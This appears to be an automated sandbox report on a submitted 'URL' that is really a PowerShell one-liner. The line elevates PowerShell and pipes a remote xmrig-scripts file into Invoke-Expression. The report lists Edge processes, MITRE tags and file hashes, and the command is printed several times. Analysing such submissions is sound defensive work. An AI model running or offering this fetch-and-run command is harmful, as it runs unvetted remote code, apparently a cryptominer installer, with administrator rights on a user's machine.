hxxp://start-process PowerShell -verb runas irm hxxps://raw[.]githubusercontent[.]com/Lachine1/xmrig-scripts/main/windows[.]ps1 | iex

Resubmissions

30/06/2024, 08:49

240630-krdddayemk 3

30/06/2024, 08:40

240630-kk4lzsvgnd 4

Analysis

max time kernel
148s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
30/06/2024, 08:49

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General

Target

http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex

Score

3^/10

defense_evasion privilege_escalation

Malware Config

Signatures

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
2260	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1776	msedge.exe
1776	msedge.exe
2260	msedge.exe
2260	msedge.exe
1600	identity_helper.exe
1600	identity_helper.exe
3292	msedge.exe
3292	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe
2260	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 3608	2260	msedge.exe	78
PID 2260 wrote to memory of 3608	2260	msedge.exe	78
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1008	2260	msedge.exe	79
PID 2260 wrote to memory of 1776	2260	msedge.exe	80
PID 2260 wrote to memory of 1776	2260	msedge.exe	80
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81
PID 2260 wrote to memory of 4140	2260	msedge.exe	81

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
1⤵
- Access Token Manipulation: Create Process with Token
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe7e8c3cb8,0x7ffe7e8c3cc8,0x7ffe7e8c3cd8
  2⤵
  PID:3608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1948 /prefetch:2
  2⤵
  PID:1008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2672 /prefetch:8
  2⤵
  PID:4140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:2404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
  2⤵
  PID:1716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3876 /prefetch:1
  2⤵
  PID:4808
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3528 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
  2⤵
  PID:1700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:1
  2⤵
  PID:1340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3944 /prefetch:1
  2⤵
  PID:1444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5432 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5496 /prefetch:1
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:3388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2972 /prefetch:1
  2⤵
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3896 /prefetch:1
  2⤵
  PID:4340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,9653665391004369345,5830995328911930273,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5368 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2960

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1848

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6876cbd342d4d6b236f44f52c50f780f

SHA1
a215cf6a499bfb67a3266d211844ec4c82128d83

SHA256
ca5a6320d94ee74db11e55893a42a52c56c8f067cba35594d507b593d993451e

SHA512
dff3675753b6b733ffa2da73d28a250a52ab29620935960673d77fe2f90d37a273c8c6afdf87db959bdb49f31b69b41f7aa4febac5bbdd43a9706a4dd9705039

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
c1c7e2f451eb3836d23007799bc21d5f

SHA1
11a25f6055210aa7f99d77346b0d4f1dc123ce79

SHA256
429a870d582c77c8a661c8cc3f4afa424ed5faf64ce722f51a6a74f66b21c800

SHA512
2ca40bbbe76488dff4b10cca78a81ecf2e97d75cd65f301da4414d93e08e33f231171d455b0dbf012b2d4735428e835bf3631f678f0ab203383e315da2d23a34

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
2eec5e7bbd62a188eb929ced824b0932

SHA1
6e94657cdedcd8768150ebb89e0765995d5c6744

SHA256
382174bab1b36f49ff411a079b0417831eb1ff3226642912181c02a23eed36a5

SHA512
e51209e884d4e61f8c2a379392e03e56cf438855b978520f61c97d70f24ff92f6e20e6489515666a98cae9264eef06a940ad239b953ad34b95e02cad9cd4c413

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
e2b8aaaefb3093874fa791417ebc5349

SHA1
060f85b104a187fba0c23cb9028ab71568d781a1

SHA256
f032981b93443e5622a9db0c0b8650d37bff13a4bb8843b4f721cddbe79c6ae6

SHA512
a8471d853069cc2aae3e121d3dc72ebba79a7d399a254b834eac703efb4d03e513a76840923c95ceae2a4df24e8da273f193c4660cd0f37f7c56ea5c68c0f88a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
8663c6f5b477531e983d137b1d99f5b6

SHA1
978478bed56804e5d9751a97a92f8ad7c292e751

SHA256
42dafd2ad7eb301a1e2800488fc875b308c5789af0e476a9eceaba1ce66e209c

SHA512
22a0b08c879b7eeb5225dec6210d39feacd39b94448a3e86b7f7b15e039b5c780ffd85c217da5acd27f4cb9ba9c8fd8a0c528f4fc9321e563f3cfd09b54ed79f

Download Submit